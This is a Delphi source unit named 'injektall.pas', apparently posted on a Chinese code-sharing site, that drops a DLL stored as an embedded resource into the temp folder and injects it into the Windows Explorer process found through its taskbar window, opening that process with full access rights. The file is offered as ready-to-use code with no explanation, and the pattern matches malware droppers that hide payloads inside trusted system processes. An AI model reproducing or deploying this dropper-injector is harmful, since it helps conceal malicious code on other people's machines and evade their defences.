?? injektall.pas
字號(hào):
unit injektall;
interface
uses
windows,afxCodeHook;
const BUFLEN =65536 ;
var
File1: String = 'File1';
File1Extention: String = 'dll';
ResultFilePath:PCHAR;
buf:array[0..BUFLEN-1]of char;
procedure inject(filename:string);
procedure ExtractFile(whichone: String);
implementation
procedure ExtractFile(whichone: String);
var
WhichExtention: String;
TempDirBuff,TempFileNameBuff,ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize,byteswritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
begin
getMem(TempDirBuff,MAX_PATH+1);
getMem(TempFileNameBuff,MAX_PATH+1);
GetTempPath(MAX_PATH+1,TempDirBuff);
GetTempFileName(TempDirBuff,'~DP',0,TempFileNameBuff);
if whichone = File1 then WhichExtention := File1Extention;
ResultFilePath := PChar(Copy(TempFileNameBuff,0,Length(TempFileNameBuff) - 3) + WhichExtention);
freeMem(TempDirBuff);
freeMem(TempFileNameBuff);
ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);
if ResourceLocation = 0 then exit;
ResourceSize := SizeofResource(HInstance,ResourceLocation);
if ResourceSize = 0 then exit;
ResDataHandle := LoadResource(HInstance,ResourceLocation);
if ResDataHandle = 0 then exit;
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer = NIL then exit;
FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if FileHandle = INVALID_HANDLE_VALUE then exit;
WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);
CloseHandle(FileHandle);
end;
var wnd, pid, ph : dword;
procedure inject(filename:string);
begin
wnd := FindWindow('Shell_TrayWnd', '');
GetWindowThreadProcessID(wnd, @pid);
ph := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
InjectLibrary (ph,pchar(filename));
CloseHandle(ph);
end;
end.
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -